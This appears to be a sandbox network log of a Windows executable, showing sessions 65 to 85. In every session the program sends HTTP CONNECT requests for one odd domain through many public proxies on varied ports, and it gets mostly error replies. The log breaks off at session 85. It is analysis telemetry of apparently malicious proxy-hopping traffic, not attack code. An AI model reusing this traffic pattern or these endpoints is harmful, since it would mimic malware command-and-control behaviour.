Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.9	49980	138.36.196.11	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.898969889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.9	50025	61.79.73.225	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.899157047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.9	49903	171.247.245.221	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.901006937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.9	50039	72.210.221.223	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.902010918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.9	49997	119.196.168.183	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.902856112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.9	50036	59.6.26.121	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.912772894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.9	49975	181.209.78.76	999	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.919610977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.668833017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.800848007 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.9	50030	45.234.100.112	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.928714991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.9	50147	162.159.242.158	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.930244923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.091200113 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.9	50158	104.16.25.216	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.937546968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.092289925 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.9	50045	81.250.223.126	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.940727949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.606347084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.543855906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.435184956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.325521946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.138022900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.513874054 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 14:21:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of
Mar 11, 2024 15:21:17.513887882 CET	294	IN	Data Raw: 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at heygirlisheeverythingyou

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.9	49947	103.148.51.19	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.941297054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.9	50189	172.67.250.212	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.942464113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.097218037 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.9	50064	147.75.92.251	10089	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.954886913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.236711025 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.9	50055	51.159.221.176	8635	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.958107948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.606389999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.512629032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.404038906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.997638941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.700669050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.365412951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:23.591104031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:37.996892929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.9	50196	47.88.3.19	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.959934950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.9	50213	104.16.107.206	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.961575985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.116413116 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.9	50174	162.214.225.223	36129	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.961575985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.418813944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.934514999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.965739965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.185182095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.294383049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.403764963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.700473070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.997478008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.9	50220	104.22.14.48	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.962371111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.116802931 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.9	50234	104.19.217.219	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:01.969789982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.124066114 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.9	50078	88.202.230.103	46475	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
